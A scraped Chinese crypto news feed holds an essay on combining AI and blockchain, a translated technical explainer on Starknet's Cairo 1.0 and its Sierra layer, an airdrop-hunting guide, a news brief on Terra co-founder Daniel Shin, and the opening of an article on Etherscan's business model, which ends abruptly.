关于这一点，有一个我们常用的词叫做“污染”。如果投喂给AI的训练数据本身有大量错误，就很难保证输出结果不会是什么印第安纳可食用混凝土。 同时我们也必须认识到，错误的信息总是会一直存在的，就好比谬误总与真理同行。迈入信息时代的人类，本质上并不关心信息的“正确性”，而只会在意信息带来的“功效”，即实用价值或者情绪价值。这是否意味着，AI的投喂素材中有必要包含一些污染源，以确保其达成所要达成的“真实”？ 无论如何，浩如烟海的信息海洋终究可以被分为两类：一类是事实，一类是投射。对于前者，我们希望其尽可能“正确”（以证明我们自己不是生活在虚妄之中（不是，怎么突然哲学起来了（套三层括号致敬一下）））；对于后者，我们只能要求其“真实”。 直接数学语言解释下：假设数据权重范围为[0,1]，“正确与否”是0或1，“真实与否”则是0到1。区块链可以做的事，就是确定这个数字，确定到一个非常具体的值。 说个笑话：区块链可以抗审查。 好了别笑了，哈哈哈哈哈哈哈。（如果你不明白这个梗，之前写过一个节点篇有提及一些）总之关于区块链目前众多缺点，我的观点一直是，事物总有一个发展的过程，当前做不到，但理论上可以实现，总比根本没希望好。总之让我们先假设当前区块链可以抗审查吧。 首先说说为什么需要抗审查。其实还是回到前面说过的话题，如果模型本身就受到很强的审查的干扰，出来的就不会是通用AI，而是军用AI。这一点我是非常坚持的（当然坚持也没用），因为不想AI直接给我关1984里了。好在商业公司做AI，合理推断主要是为钱，为钱就好办，没钱我还不能卖肉吗（bushi 当然，抗审查本身也是个两面性的概念。如果完全没有审查，本质上就不存在和平与安全，更多的会是混乱和无序。提这一点，本质上和AI无关了，无非是再次强调下区块链带来的一些新的可能性罢了。所以就不多说了。 其实前面东说说西说说也基本把这一点说差不多了。还是那句话，由单个或者少数几个组织控制的大模型是具有很高的单点风险的。闭源以及垄断可以被理解，毕竟投入了天量成本，但并不意味着结果是可以被安于现状的。商业角度无非是钱嘛，如果能保证开源情况下的收入，甚至让它更高，那么这些其实都不是问题。 巧了，又是区块链提供了一些新的可能性。 关于如何利用区块链的特性，为开源谋利，目前似乎并未见到很好的探索，但我认为存在有一些可能性。提供两个角度： 1、技术约束。开源并不意味着免费，这或许是很多人会弄混的两个词。开源本质上只是共享知识成果，以提高技术更新的速度与效率；之所以在web2中开源难做，一来是没有很好的利益分配范式，另一个也是因为信息复制的零边际成本。零知识证明可以用来解决信息内在价值的问题，而区块链所提供的价值层（代币经济）则可以应对利益分配的难题。（注意，这里我有点扯淡了，把一个复杂度超过我头毛数的大模型用零知识证明打包，就好比三体人用水滴折进去一个十一维机器一样轻松） 2、社会共识约束。说白了就是在一个美好的区块链底层架构的世界里，所以利益纠纷均依赖于价值层；作恶者一旦被揭发，让他的代币归零就是最好的惩治方式。（大善人也可能被误杀） 在反对POW的各类声讨中，呼声最大的无疑是能源浪费。 这一点，其实……我也这么认为。我是非常不信那些能源用于生产信任之类的鬼扯的，能源好歹是实打实的东西，直接产了个二次元是吧？总之如果你问我支持POW吗我说不准，但你说烧煤做算术我直接大耳刮子，奥数班没上够是吧？除非BTC真成了世界货币你烧烧也就算了。 在大家相继背离POW后，一些不易察觉的好处又慢慢凸显。正好AI来了，我就在想，能不能做一个结合呢？众多周知AI有三宝，曰其数据，曰其算力，曰其算法。POW挖矿也是要算力，有没有可能换个题……（暴露我的无知了） 不过POW的算力严格来说是边缘算力，并且带有强烈的“竞争”属性，和目前AI训练所用的貌似不同。但AI未来应该有相当一部分使用边缘算力的需求，比如和物联网结合，这些是不是都有机会创新为某种POW算法呢？ 创作者经济，也是提及区块链mass adoption时必被提及的词汇。 其实我总结了一句话，感觉很适合放在这里：AI带来生产力变革，区块链带来生产关系变革。也致敬下孟岩老师“AI效率，区块链公平”的说法哈哈。 可以预见的是，随着AI对生产效率的革命性的提升，必将将生产关系带入一段混乱无序的阶段。生产力和生产关系一直是互相匹配的，农耕文明不可能用得上现代企业制度。如果AI替代了人类的重复性工作，这些被替代的人类将何去何从？他们如何生存，统治者如何应对？如果AI创作的内容充斥互联网，如何分辨真正的文学与电影作品？所有上层建筑是否都将面临重新定价？最终，人类的文明火种将传承、遗失，还是被改造？ 第一个问题已经迫在眉睫，仅仅是GPT-4所展现出的强大能力，已经足够让一波员工面临被失业的风险。这个很多人已经关注到了。但他们可能没关注到另一个问题，那就是失业者为了谋生，将会走几条路： 1、同样使用AI，去和原来的老板竞争。这点恐怕很多人想不到。因为一个显而易见的问题，如果开一个公司不再需要高额的人力成本，如果一个人配合AI就能完成一家小型公司的业务服务，人人都可以是老板。大量无秩序的竞争会直接重创所有没有技术壁垒的公司与相关行业，特别是非实体业务。这些损耗的价值都流向了AI工具背后的商业公司。 2、转行进入体力劳动领域。既然所有脑力劳动都有被替代的风险，那直接做体力好了，至少能在机器人风靡前逍遥几年。于是竞争加剧，本就不富裕的体力劳动者雪上加霜。体力劳动者好不容易在现代社会劳动者光荣的呼声下想抬起来的头颅啪的一下就被拍下去了。总之正如一位美丽的仙子曾言，更像那玩意了。 3、集会抗议。打工人之所以还未xx，是因为还没到绝路。但凡是个狼心狗肺的统治者，最终都会意识到，没钱有闲，终生事端。届时会带来怎样的社会动荡，就难以预测了。 由此，生产关系的变革也就是必然了。首当其冲就是现代企业制度，老板+员工，专业分工的螺丝钉模式，是否会被更去中心化、个体斜杠的模式所吞噬？另外就是，如果专业技能比不过AI，现存大部分工种是否会消亡？随着大部分脑力劳动退出历史舞台，人类是否会把更多精力用于创作？毕竟AI虽然会创作，却仍旧是很难比得过真人的。真有某一天全面超越真人，作为宠物的我们可能就要改口“AI大人”了。 经过上文我模糊且无序的推理，你会发现AI带来的生产关系变革可能会极大促进创作者经济的需求。这又带来一些话题，比如创作者经济的发展方向，比如AI创作与真人创作的竞争合作……无论如何，创作者经济是与区块链深度关联的，这块就不细说了。 还有个很危险的想法，就是如果AI背后的模型部署在区块链上自动运行，且合约写死没人可以关闭，且这条链出乎意外地生生不息，会不会存在一种可能，就是AI成为真正的生命…… 这一点目前的AI肯定是无法达到的。据说GPT-4去年就问世了，那个时候是狼版，这大半年就是为了把它训练成狗版。也就是说人类也不傻，关于不把AI训练成狗版自己就有可能在未来变成AI的狗这一点还是有所斟酌的。 但如果，我是说如果，有一天区块链真成底层设施了（意味着真的有一条链，没人可以入侵，也没人可以关停），就有这么一个丧心病狂的恐怖分子，弄来一套超级AI的模型部署到链上（毕竟无许可），那可真的就是一场谁也无法阻止的赛博灾难了。 你还要玩AI和区块链结合吗？ …… 总之，本文记录了一些自己关于AI和区块链结合的一些不着边际的想象。在区块链仍旧方兴未艾、半死不活的当下，聊这些实在太早太早。好在人类本就是一类热爱想象的生物，随意想想也没有什么坏处。 或许想象力才是我们唯一无法被AI所替代的东西了。  ( 4 min )
    深入了解Starknet编程语言Cairo 1.0：设计原理、存在问题及改进之处
    原文：《Cairo 1.0 的内部机制：探索 Sierra》 作者：Maxlion，Starknet Astro Cairo 是一个图灵完备的 ZK 友好高级语言，也是以太坊 L2-Starknet 的合约开发语言，它正在进行改版升级。本篇文章是分析 Cairo 1.0 系列文章的第一篇，作者 Mathieu 分析了 Sierra 作为 Cairo 高级语言到 Cairo 汇编的中间层的设计动机与实现原理。文中提到了大量 Cairo 0 存在问题、Cairo 1 改进之处，并附有丰富的代码细节，推荐 Cairo 开发者阅读全文以深入了解 Cairo 1.0。 原文链接 Sierra 在高级 Cairo 编程语言与更原始的编译目标（如 CASM）之间担任了重要的中间人角色，确保生成的 CASM 可在 Starknet 上安全运行。它的设计以安全为中心，使用一组函数来生成安全的 CASM 代码，结合强大的编译器和线性类型系统来防止运行时错误，以及内置 Gas 系统来防止无限循环。 在接下来的部分，我们将专注于理解 Sierra 程序的结构，提供了阅读和理解 Sierra 程序所需的基本要求。 我（Mathieu）最近参加了 Starkware Sessions 的两场会议，分别是 Shahar Papini 的“Enforcing Safety Using Typesystems”和 Ori Ziv 的“Not Stopping at the Halting Problem”。如果你想了解更多有关 Cairo 堆栈的信息，我强烈建议你观看这些视频。以下文章是一个系列的第一篇，我将深入了解 Sierra 以更好地理解 Cairo、其机制以及整个 Starknet。 Sierra（Safe Intermediate Representation 安全中间表示）是高级语言 Cairo 和诸如 Cairo Assembly（CASM）之类的编译目标之间的中间层。该语言旨在确保安全并防止运行时错误。它使用编译器检测可能在编译时失败的操作，以确保每个函数都返回并且没有无限循环。Sierra 使用简单但强大的类型系统来表达中间层代码，同时确保安全性。这使得可以有效地编译成 CASM。 在 Cairo 0 中，开发人员会使用 Cairo 编写 Starknet 合约，将其编译为 CASM，并直接部署编译输出到 Starknet 上。用户可以通过调用智能合约函数、签署交易并将其发送给排序器来与 Starknet 合约交互。排序器将运行交易以获取用户的交易费用，证明者（SHARP）将为包括此交易的批次生成 ZK 证明，排序器将收取包括交易在内的交易费用。 然而，该 Cairo 0 流程会产生一些问题： 在以太坊上，所有失败的交易都被标记为 reverted，但仍包括在块中，允许验证者在失败时收取交易费用。为了防止恶意用户用无效交易轰击网络并使排序器不堪重负，从而使合法交易无法处理，Starknet 需要一个类似的系统，允许排序器收取失败交易的费用。为了解决上述问题，Starknet 网络需要实现两个目标：完整性和有效性。完整性确保交易执行始终可以被证明，即使它预计会失败。有效性确保不会拒绝有效交易，从而防止审查制度。 Sierra 是构造正确的（Correct-by-constrction），让排序器为所有交易收费。我们可以部署分支代码（例如 if/else），而不是可能失败的代码（例如 asserts）。Cairo 1 的 asserts 被翻译成分支 Sierra 代码，允许错误传播回返回布尔值的原始入口点，表示交易成功或失败。如果入口点返回值为 true/false，则 Starknet 操作系统可以确定交易是否有效，并决定是否应用状态更新，如果交易成功。 Cairo 1 提供类似于 Rust 的语法，并通过抽象 Sierra 的安全构造来创建可证明的、开发人员友好的编程语言。它编译为 Sierra，这是 Cairo 代码的构造正确的中间表示，不包含任何失败语义。这确保了没有 Sierra 代码会失败，并且它最终编译为 CASM 的安全子集。开发人员可以专注于编写高效的智能合约，而不必担心编写非失败的代码，所有这些都具有改进的安全原语。 开发人员将会将他们的 Cairo 1 代码编译为 Sierra，并将 Sierra 程序部署到 Starknet 上，而不是将 CASM 代码部署到 Starknet 上。在声明交易时，排序器将负责将 Sierra 代码编译为 CASM，以确保不能在 Starknet 上部署失败的代码。 为了设计一个不会失败的语言，我们必须首先确定 Cairo 0 中的不安全操作。包括：   确保解引用不会失败 在 Cairo 0 中，开发人员可以编写以下代码，试图访问未分配的内存单元的内容。 let (ptr:felt*) = alloc(); tempvar x = [ptr]; Sierra 的类型系统通过强制执行严格的所有权规则并利用 Box 等智能指针来防止常见的指针相关错误，从而使得在编译时能够检测和防止无效指针解引用。Box 类型用作指向有效和已初始化指针实例的指针，并提供两个函数进行实例化和解引用：box_new() 和 box_deref()。通过使用类型系统在编译时捕获解引用错误，从而使得从 Sierra 编译的 CASM 避免了无效指针解引用。 在 Cairo 0 中，用户将使用如下数组： let (array:felt*) = alloc(); assert array[0] = 1; assert array[1] = 2; assert array[1] = 3; // fails 然而，尝试两次写入同一数组索引会导致运行时错误，因为内存单元只能被写入一次。为避免这个问题，Sierra 引入了一个 Array 类型以及一个 array_append(Array, value:T) -> Array 函数。该函数接受一个数组实例和一个要附加的值，并返回指向新的下一个空闲内存单元的更新的数组实例。因此，值会按顺序附加到数组的末尾，而不必担心由于已经写入的内存单元可能导致的冲突问题。 为确保已经附加的先前使用的数组实例不会被重复使用，Sierra 使用线性类型系统确保对象仅使用一次。因此，任何已经被附加的 Array 实例不能在另一个 array_append 调用中重复使用。 下面的代码显示了一个 Sierra 程序的片段，该程序创建了一个 felt 数组，并使用 array_append 库函数两次追加值 1。在代码中，第一个 array_append 调用使用 id [0] 的数组变量作为输入，并返回一个表示更新的数组的 id [2] 变量。然后将此变量用作下一个 array_append 调用的输入参数。重要的是要注意，一旦被库函数使用，id [0] 的变量就不能被重复使用，尝试使用 id [0] 作为输入参数调用 array_append 将导致编译错误。 array_new() -> ([0]); felt_const() -> ([1]); store_temp([1]) -> ([1]); array_append([0], [1]) -> ([2]); felt_const() -> ([4]); store_temp([4]) -> ([4]); array_append([2], [4]) -> ([5]); 对于可以多次重新使用的对象，比如 felts，Sierra 提供了 dup(T) -> (T,T) 函数，返回两个相同对象的实例，可以用于不同的操作。 这个函数仅适用于安全可复制的类型，通常是不包含数组或字典的类型。 通常使用断言来评估代码中特定点布尔表达式的结果。如果评估结果不符，就会引发错误。与 Cairo 0 中不同，Cairo 1 断言指令的编译将生成分支 Sierra 代码。如果不满足断言，则该代码将提前终止当前函数执行，并继续执行下一条指令。 字典和数组一样存在多次添加值的问题，可以通过引入特殊的 Dict 类型和一组工具函数来实例化、检索和设置字典中的值来解决这个问题。然而，字典存在一个健全性问题。每个 Dict 都必须在程序结束时调用 dict_squash(Dict) -> () 函数来压缩，以验证键更新序列的一致性。未压缩的字典是危险的，因为恶意证明者可以证明不一致更新的正确性。 正如我们之前所见，线性类型系统强制对象只能使用一次。唯一使用“使用”Dict 的方法是调用 dict_squash 函数，该函数使用字典实例并不返回任何内容。这意味着在将 Sierra 代码编译为 CASM 时将检测到未压缩的字典，并在编译时引发错误。对于其他不需要一次性使用的类型，通常是不包含 Dict 的类型， Sierra 引入 drop(T)->() 函数，该函数使用对象的实例并不返回任何内容。 值得注意的是，drop 和 dup 都不会产生任何 CASM 代码。它们仅在 Sierra 层提供类型安全，确保变量仅使用一次。 确定程序最终会停止或永远运行是计算机科学中的一个基本问题，被称为停机问题，在一般情况下是无法解决的。在像 Starknet 这样的分布式环境中，用户可以部署和运行任意代码，因此防止用户运行无限循环代码是很重要的，例如以下 Cairo 代码。 fn foo() { foo() } 由于递归函数如果停止条件永远不满足就可能导致无限循环，因此 Cairo-to-Sierra 编译器将在递归函数开头注入withdraw_gas方法。由于该功能尚未实现，因此开发人员仍需要在递归函数中调用withdraw_gas并自行处理结果，尽管在未来版本中应该会包含在编译器中。 该withdraw_gas 函数将通过计算函数中每条指令的运行成本来从交易总可用 Gas 中扣除运行函数所需的 Gas 数量。成本是通过确定每个操作需要多少步来分析的，大多数操作的步在编译时是已知的。在 Cairo 程序执行期间，如果withdraw_gas 调用返回 null 或负值，则当前函数执行会停止，所有待处理的变量都将通过对未压缩字典调用dict_squash 和对其他变量调用drop 来消耗，并将被认为是执行失败。由于 Starknet 上的所有交易都有一个有限的可用 Gas 量来执行交易，因此避免了无限循环，并通过确保仍有足够的 Gas 可用来删除变量并停止执行，排序器将能够从事务失败中收取费用。 通过一组有限的指令实现安全的 CASM Sierra 的主要目标是确保生成的 CASM 代码不会失败。为实现这一目标，Sierra 程序由调用 libfuncs 的语句组成。这些是一组内置库函数，为这些函数生成的 CASM 代码是保证安全的。例如，array_append 库函数生成的安全 CASM 代码可用于将值附加到数组中。 通过仅允许一组安全和可信赖的库函数来实现代码安全的这种方法类似于 Rust 编程语言的哲学。通过提供一组安全和可信赖的抽象，这两种语言都有助于避免常见的编程错误，并增加代码的安全性和可靠性。Cairo 1 使用了与 Rust 类似的所有权和借用系统，为开发人员提供了一种在编译时推理代码安全性的方式，这有助于防止错误并提高整体代码质量。 本文旨在为读者提供通用信息和理解，不表示 Nethermind 支持任何特定资产、项目或团队，也不保证其安全性。Nethermind 没有明示或暗示地向本文中包含的信息或观点的准确性或完整性作出任何陈述或保证。任何第三方不得以任何方式依赖本文，包括但不限于金融、投资、税收、监管、法律或其他建议，或将本文解释为任何形式的建议。 请注意，虽然 Nethermind 为 Starkware 提供服务，但本文不是这些服务的一部分。 Nethermind 是一个由世界级建设者和研究者组成的团队。我们为全球企业和开发人员提供访问和构建去中心化 Web 的能力。我们的工作触及 Web3 生态系统的每个部分，从 Nethermind 节点到基础密码学研究和 Starknet 生态系统的基础设施。发现我们的 Starknet 工具套件：Solidity 转 Cairo 编译器 Warp、StarkNet 区块浏览器 Voyager、针对 StarkNet 智能合约的开源形式验证工具 Horus、StarkNet 客户端实现 Juno，以及 Cairo 智能合约安全审计服务。 如果您有兴趣解决一些区块链中最困难的问题，请访问我们的求职信息！  ( 7 min )
    错过了 OP、ARB？别急，还有这 10 个热门空投项目
    你是否因错过了 Arbitrum 空投而感到惋惜？ 上周，$ARB 空投获得者平均赚了 2350 美元。像 $ARB、$OP 和 $APT 这样的空投让很多空投猎人成为了百万富翁。 不用急，在本文中，我们整理了即将到来的所有热门空投项目以及交互策略，助你找寻下一个顶级 Airdrop。 zkSync 是以太坊的第 2 层扩展解决方案，可提供低 Gas 和快速交易，而不会影响安全性。 zkSync 在投资方面是重量级人物，从 VCs 那里筹集了创纪录的 4.58 亿美元，其中包括以太坊基金会、a16z 和 Coinbase。 zkSync 开发商 Matter Labs 的 CEO 暗示 $ZKS 将在大约一年后发布，进一步提高了 zkSync 的空投概率。 zkSync 筹集了 4.58 亿美元的资金，而 Arbitrum 筹集了 1.2 亿美元，所以你可以想象这个空投有多大。 Matter Labs 的 CEO 暗示 $ZKS 将在大约一年后发布，这也是对 zkSync 空投的确认。 网上已有很多关于 zkSync 1.0（Lite）的测试教程，今天我们重点看 2.0（Era）。 设置钱包： 在 metamask 上添加 zkSync Era 主网（https://chainlist.org/chain/324） 使用 zkSync 的官方跨链桥，向 zkSync 网络转入 ETH，并取回少量 ETH： •打开https://portal.zksync.io/> 将钱包与以太坊主网连接。 •输入 ETH 数量（建议至少存入 0.02 个ETH，如果能存入 0.1 个ETH，就领先了 80% 的用户）>点击“存入”> 钱包确认。 •点击“取款” > 然后取出少于你存入的 10% 的 ETH。 测试部分在 zkSync Era 上运行的 dApp（使用更多资金来交互，增加空投机会）。 在 Mute Switch 上交易、添加流动性： •打开https://app.mute.io/，并连接钱包（zkSync Era） •将部分 ETH 交换成 MUTE •将部分 ETH 交换成 USDC •为 USDC/ETH 或 MUTE/ETH 添加流动性。 以相同的流程交互 SpaceSwap：https://swap-zksync.spacefi.io/#/swap 在 Mint Square 铸造并交易 NFT： •打开https://mintsquare.io/zksync并连接钱包。 •点击主页上的“Mint”。 •上传任意图片 > 给它起个名字 > 点击“Mint” > 在钱包上确认。 •上架出售刚铸造的 NFT > 在市场上购买一个任意的 NFT 2、LayerZero LayerZero 是一个全链互操作性协议，旨在使不同的区块链更容易相互连接。它可以用于资产跨链和消息传递。 LayerZero Labs 最近从 VCs 筹集了超过 1.7 亿美元，包括 a16z、红衫资本、Binance Labs。 LayerZero 可能会将其代币分发给基于其构建的协议的用户。 资金跨链： 通过 http://theaptosbridge.com/bridge和 http://bridge.liquidswap.com，将资金从 Arbitrum 或 Polygon 等费用低的网络跨链到 Aptos 网络。建议至少跨链 100 美元至 10,000 美元的资金。 交互 Stargate Finance： • 质押 $STG • 在 http://snapshot.org/#/stgdao.eth 上用 $veSTG 投票 • 通过该平台跨链资金 • 为跨链桥提供流动性 交互 Rage Trade： • 合约交易 • 将 USDC 存入金库 交互 RDNT Capital： • 存入和借出代币 要获得 LayerZero 的空投资格，你应该每周至少一次使用上述所有协议。 StarkNet 是一个去中心化的 ZK-Rollup。它作为以太坊上的 L2 网络运行，允许任何 dApp 因其计算实现无限规模。 StarkWare Industries（开发商） 从 VCs 筹集了超过 2.8 亿美元，包括红衫资本、a16z、Paradigm。 StarkNet 已经发展成为了一个非常大的生态系统，包括 DeFi 协议、NFT、钱包、GameFi 项目等等。因此，StarkNet 团队很可能会将 $STARK 空投给其网络上关键项目的用户。 想要最大化你的空投，请按照以下步骤操作。 设置钱包： 安装 Argent X 并创建一个 StarkNet 钱包（https://chrome.google.com/webstore/detail/argent-x/dlcobpjiigpikoobohmabehhmhfoodbb） 资产跨链： 使用http://starkgate.starknet.io或http://orbiter.finance将 ETH 从以太坊跨链到 StarkNet 。 交互 dApp： •在 10KSwap 上交易、添加流动性。（https://10kswap.com/） •在 mySwap 上交易、添加流动性。（https://www.myswap.xyz/） •在 JediSwap 上交易、添加流动性。（https://app.jediswap.xyz/） •在 Nostra Finance 上存入、借出代币。（https://alpha.nostra.finance/） •在 Mint Square 上铸造、买卖 NFT。（http://mintsquare.io） 每周交互一次上述的所有协议（进行 1-2 笔交易）。 Lens Protocol 是社交应用程序的去中心化社交图谱协议，它统一了你在所有支持 Lens 的应用程序上的个人资料、受众和内容。与 ENS 域名类似，你的个人资料可以在市场上进行交易。 Lens Protocol 的领投方是 FTX，但可能还有其他尚未公布的 VC。并且未来有可能会有新的投资轮次。 由于该协议有向 DAO 的过渡以及未来启用协议费用的计划，因此 $LENS 代币空投似乎是有可能的。 请按照以下步骤增加你获得空投的机会。 Lens 配置文件有 2 种方法可以获得： • 如果你符合条件，可以申请个人资料（https://claim.lens.xyz） • 或者在 Opensea 上购买一个，底价约 160 美元（https://opensea.io/collection/lens-protocol-profiles） 交互部分基于 Lens Protocol 的 dApp。 交互 LensFrens： • 打开https://lensfrens.xyz，并连接钱包 • 使用你的 Lens 个人资料关注其他人（建议关注超过 50 人） 交互 Lenster： • 打开https://lenster.xyz，并连接钱包 • 自定义编辑你的个人资料，添加你的 Twitter • 定期发帖 • 点赞/评论其他帖子 交互 LensTube： • 打开https://lenstube.xyz • 连接个人资料 • 发布视频 • 定期点赞/评论其他视频，保持活跃 交互 memester： • 打开https://memester.xyz • 连接个人资料 • 创建模因 • 收集和评论其他模因 交易 Lensport（帖子交易市场）： • 打开https://lensport.io，并连接钱包 • 交易你的帖子 • 铸造其他帖子 Scroll 是以太坊上基于 zkEVM 的 zk-Rollup，它可以原生兼容现有的以太坊应用程序和工具。这对开发人员来说是一件非常有用的事情，可以节省他们很多时间并让他们的工作更轻松。 该项目从 VCs 筹集了 8000 万美元，包括 PolyChain、红衫资本、Variant Fund。 Scroll 有可能为它们的早期用户提供慷慨的空投。 设置钱包： 将 Goerli 测试网 和 Scroll Alpha 测试网添加到 Metamask 中（在http://scroll.io/alpha一键添加） 资金跨链测试： •在 Goerli 上获取 ETH 测试币（http://goerlifaucet.com） •从 Goerli 测试网将 ETH 测试币跨链到 Scroll Alpha 测试网（http://scroll.io/alpha/bridge） 交互 Scroll 的 Uniswap： • 将 ETH 换成代币 • 添加流动性 6、Base Base 是一个安全、低成本、对开发人员友好的 L2 区块链，旨在将更多 Web2 用户带入 Web3。Base 将作为 Coinbase 的“链上家园”和任何人都可以使用的开放生态系统。 Base 由 Coinbase、Optimism 这两个行业巨头共同打造，它们的丰富经验将有助于确保项目的成功。 Base 团队表示不会有 $BASE 代币，但我们知道其他 L2 如 Arbitrum 或者 Optimism 在为活跃用户空投之前也这样说。 设置钱包： • 在 Metamask 中添加 Goerli 测试网（https://chainlist.org/?search=goerli&testnets=true） • 获取 ETH 测试币（https://goerlifaucet.com） • 在 MetaMask 中添加 Base Goerli 测试网，使用 Chainlist 一键添加（https://chainlist.org/?search=base+goerli&testnets=true） 资产跨链测试： • 打开https://bridge.base.org/deposit，连接钱包 • 将Goerli 测试网的 ETH 测试币，跨链到Base Goerli 测试网 使用 L2 跨链协议 Orbiter Finance，经常与其他 L2 网络进行交互： • https://rinkeby.orbiter.finance/?dest=zkSyncEra(G)&source=Base(G)&sources=&dests= • 对不同的链进行多次跨链（在不同的时间里，总共交互超 50 笔交易） 完成 Layer3 任务： https://layer3.xyz/quests/intro-to-base 获取公会角色： • 前往 https://guild.xyz/buildonbase • 连接您的钱包和账户 • 完成任务 要获得两个以上的角色，你需要持有 2 个 NFT： • http://opensea.io/collection/base-introduced ($4.3) • http://opensea.io/collection/base-subscription ($2.6) ZetaChain 是一个 L1 区块链，支持全链、通用智能合约和任何区块链之间的消息传递。 融资信息暂未公开，但 Delphi、Amber Group、The Soartan Group 都关注了 ZetaChain 的推特账号。这些 VCs 可能投资了 ZetaChain。 要获得 $ZETA 空投的资格，遵循以下步骤： 测试网、钱包设置： • 在 Metamask 中添加 Goerli testnet 网络（https://chainlist.org/?search=goerli&testnets=true） • 获取 ETH 测试币（https://goerlifaucet.com） • 在 Metamask 中添加 Polygon Mumbai 测试网（https://chainlist.org/?search=mumbai&testnets=true） • 获取 MATIC 测试币（https://goerlifaucet.com） 获取 $ZETA 测试币： • 打开 http://labs.zetachain.com/get-zeta，并连接钱包 • 点击“获取资产” 官方测试任务（交易 $ZETA/$ETH/$MATIC）： 对于此任务，你每周将获得 7,000 ZetaPoints。所以不要忘记每周重复一次交易。 • 打开 http://labs.zetachain.com/swap，并连接钱包 • 将一种资产从一个网络，交换为另一个网络的另一种资产 完成 Galxe 任务并领取 OAT： http://galxe.com/ZetaChain/campaign/GCatUUwYSY 完成 Crew3 任务： https://crew3.xyz/c/zetachain/invite/pEpGZI_HGMl0LRIIN50uy Fuel 是最快的模块化执行层，可提供最大的安全性和灵活的吞吐量。这是通过以下方式实现的： • 并行事务执行 • Fuel 虚拟机 (FuelVM) Fuel Labs 在 Blockchain Cap 和 Stratos 领投的一轮融资中筹集了 8000 万美元。 Fuel 生态系统不断发展，现在已经有 30 多个 dApp 构建在其中。 dApp列表：https://fuel.build Fuel 可能会向基于其区块链的关键项目的用户空投 $FUEL。 安装 Fuel Labs 钱包： • 打开 https://wallet.fuel.network/docs/install/ • 下载钱包 • 转到 Chrome 扩展程序并打开开发模式 • 拖拽钱包的 ZIP 文件进行安装 获取 ETH 测试币： • 打开 https://faucet-beta-3.fuel.network • 输入钱包地址 定期测试你的钱包（签署消息、转移资金和添加资产）： • 前往 https://wallet.fuel.network/docs/how-to-use/ • 向下滚动并点击“连接” • 向下滚动并与“绿色按钮”互动 交互 dApp： •在 SwaySwap 上交易、添加流动性。（https://fuellabs.github.io/swayswap/） • 测试 Fuel 上的 NFT 市场 Thunder，申请内测：https://q26om88816b.typeform.com/to/uq4trEq3?typeform-source=medium.com Shardeum 是一个基于权益证明（PoS）和法定人数证明（PoQ）共识机制运行的 L1 区块链。由于动态状态分割，Shardeum 可以提供非常低的 Gas 费用，同时保持真正的去中心化和可靠的安全性。 该项目在 TheSpartanGroup 领投的种子轮融资中筹集了 1800 万美元。 $SHM 代币经济学： • 最大供应量：5.08 亿枚代币 • 51% 社区 - 对节点的奖励 • 18% 销售 • 15% 团队 • 11% 基金会 • 5% 生态系统 Shardeum 提供了大量赚取 $SHM 代币的机会： • 51% 的代币分配给社区作为运行节点的奖励。 • 5% 的代币分配给 Shardeum 生态系统的用户。 方法如下。 在 MetaMask 中添加测试网络： • 添加 Shardeum Liberty 1.X 测试网（https://chainlist.org/chain/8080） • 添加 Shardeum Liberty 2.X 测试网（https://chainlist.org/chain/8081） 获取测试代币： • 加入 Discord（https://discord.gg/shardeum） • 进入水龙头 1.6 和 2.1 频道 • 填写钱包地址 交互 dApp： •在 Swapped Finance 上交易、添加流动性。（https://app.swapped.finance/swap） • 在 NFT 市场 Spriyo Market 上铸造 NFT。（https://spriyo.xyz） • 在域名服务 Dotshm Domains 上注册一个域名。（https://dotshm.me） 运行节点： 运行节点的空投已经确认。如果你是开发者，请查看官方关于设置节点的指南： https://docs.shardeum.org/node/run/validator Rage Trade 正在构建流动性最强、可组合且唯一的全链杠杆协议（由 UNI v3 提供支持）。 确切的投资规模尚未公布，但它获得了 CMS Holdings、Zee Prime、Robot Ventures 等 VCs 的投资。 Rage Trade 团队多次暗示将有 $RAGE 空投给用户。此外，通过使用 Rage Trade，你将有机会同时获得 $RAGE 和 $ZRO 空投，该协议也适用于获取 LayerZero 空投。 按照以下步骤交互，增加空投机会： •进行交易（建议在 1-2 周内至少进行 5-10 次交易，每笔交易的价值不应低于 100 美元） •将 $USDC、$GLP 和 $ETH 存入金库。Rage Trade 有两种类型的金库：Risk-On 和 Risk-Off。Risk-On 金库有风险，但同时它提供了更高的 APY。如果你只想获得空投，我建议将 $USDC 存入 Risk-Off 金库。 •90% 的 Rage Trade 用户在金库中存入的资金少于 1,000 美元，因此我建议您至少存入 1,100 美元，才有资格获得空投。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 10 min )
    韩国检方再次寻求逮捕Terra联创Daniel Shin
    PANews 3月27日消息，据彭博社报道，韩国首尔检察官办公室周一证实，他们正再次寻求逮捕Terra联创Daniel Shin，但没有提供更多细节。Shin的律师没有立即回应置评请求。Shin的律师此前表示，Shin于2020年从Terraform Labs分离出来，此后一直没有参与其运营。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。Do Kwon近日在黑山被捕，韩美双方均寻求将其引渡。  ( 4 min )
    8000万月访问，年赚千万美元，解密区块链浏览器Etherscan背后的生意经
    原文：《Etherscan: The Master of Block Explorers》by Launchy 编译：深潮 TechFlow Etherscan 是一个帮助用户浏览以太坊区块链的工具，更常被称为区块链浏览器，每月有 8000 万次的访问量。一直以来，Etherscan 是加密货币领域中最受欢迎和广泛使用的工具之一。 借助 Etherscan，用户可以轻松地分析以太坊区块链上的区块交易。通过该平台，所有人都能够享受到区块链技术的核心原则之一：透明度。从在链上调查可疑的“Rug”行为的侦探到监视大规模资金流动的交易者，Etherscan 为我们提供了必要的工具来更好地了解区块幕后发生了什么。 Etherscan 没有代币。虽然它在加密 Web3.0 生态系统的核心运作，但 Etherscan 被认为更像是“传统的 SaaS 业务”，并不完全是本地化的区块链应用。它只是为用户提供了更好地理解区块链交易的工具。 自 2015 年成立以来，Etherscan 已成为首选的区块链浏览器。到 2023 年，Etherscan 已扩展到 18 个以上的区块链。 Etherscan 如何赚钱？ Etherscan 像许多其他软件公司一样，通过提供服务来创造收入。尽管 Etherscan 也提供了一些 B2B 产品，但它主要是一个 B2C 业务。不过，广告成为 Etherscan 创收的一个重要因素。 在更高的层面上，Etherscan 从以下方面产生收入： 让我们进行一些收入估算。 如果 Etherscan 拥有 100 万订阅用户，根据 CPM 的不同，每期新闻简报的收费可以在 2 万到 5 